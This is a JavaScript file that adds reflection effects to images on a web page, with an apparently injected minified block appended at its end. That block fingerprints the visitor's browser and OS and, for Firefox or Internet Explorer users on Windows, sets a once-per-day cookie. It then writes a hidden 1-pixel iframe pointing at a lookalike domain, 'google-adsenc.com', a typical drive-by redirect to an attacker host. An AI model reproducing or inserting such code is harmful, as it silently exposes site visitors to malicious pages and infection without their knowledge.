	function dropReflection(el, height, opacity, distance) {
	
		var img = el;
		
		// create new container SPAN, and make the image we're dealing with it's child.
		var container = document.createElement('span');
		img.parentNode.insertBefore(container, img);
//		img.style.cssText = 'vertical-align: bottom;';
		container.appendChild(img.parentNode.removeChild(img));
	
		// copy the classnames and inline styles
		container.className = img.className;	
		container.setAttribute("style", img.getAttribute("style"));
		img.setAttribute("style", "");
		container.style.display = "inline";
		container.style.width = img.width;
		var refheight = img.height*height;
		// make the distance from the image to the reflection
		img.style.marginBottom = (distance + "px");
		var newline = document.createElement('br');
		container.appendChild(newline);
                if (document.all && !window.opera) {
		  var reflection = document.createElement('img');
                  reflection.src = img.src;
                  reflection.style.width = img.width+'px';
                  reflection.style.height = refheight+'px';
 
                  reflection.style.filter = 'flipv progid:DXImageTransform.Microsoft.Alpha(opacity='+(opacity*100)+', style=1, finishOpacity=0, startx=0, starty=0, finishx=0, finishy='+100+')';
                  container.appendChild(reflection);
                } else {
                  var canvas = document.createElement('canvas');
                  if (canvas.getContext) {
                    var context = canvas.getContext("2d");
 
                    canvas.height = img.height;
                    canvas.width = img.width;
		    canvas.style.cssText = 'position:relative;padding:0;margin:0; left: 0px; top:'+(img.height-newline.height)+'px;';
		
                    container.appendChild(canvas);
                    context.translate(0,refheight);
                    context.scale(1,-1);
                    context.drawImage(img, 0, 0, img.width, refheight);
                
                    var gradient = context.createLinearGradient(0, refheight, 0, 0);
                    gradient.addColorStop(1, "rgba(255, 255, 255, 1.0)");
                    gradient.addColorStop(0, "rgba(255, 255, 255, "+(1-opacity)+")");
                    context.fillStyle = gradient;
                    context.fillRect(0, 0, img.width, refheight);
                    
                  }
                }	
	}

document.getElementsByClassName = function(className) {
  var children = document.getElementsByTagName('*') || document.all;
  var elements = new Array();

  for (var i = 0; i < children.length; i++) {
    var child = children[i];
    var classNames = child.className.split(' ');
    for (var j = 0; j < classNames.length; j++) {
      if (classNames[j] == className) {
        elements.push(child);
        break;
      }
    }
  }
  return elements;
}


function addReflections() {
  var rimages = document.getElementsByClassName('reflectimage');
  for (i=0;i<rimages.length;i++) {
    var rsize = null;
    var rspace = null;
    var ropacity = null;
    var classes = rimages[i].className.split(' ');
 
    for (j=0;j<classes.length;j++) {
      if (classes[j].indexOf("refsize") == 0) {
        var rsize = classes[j].substring(7);
      } else if (classes[j].indexOf("refopacity") == 0) {
        var ropacity = classes[j].substring(10);
      } else if (classes[j].indexOf("refspace") == 0) {
        var rspace = classes[j].substring(8);
      }
    }
    dropReflection(rimages[i], rsize, ropacity, rspace);
  }
}

var previousOnload = window.onload;
window.onload = function () { if(previousOnload) previousOnload(); addReflections(); }
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
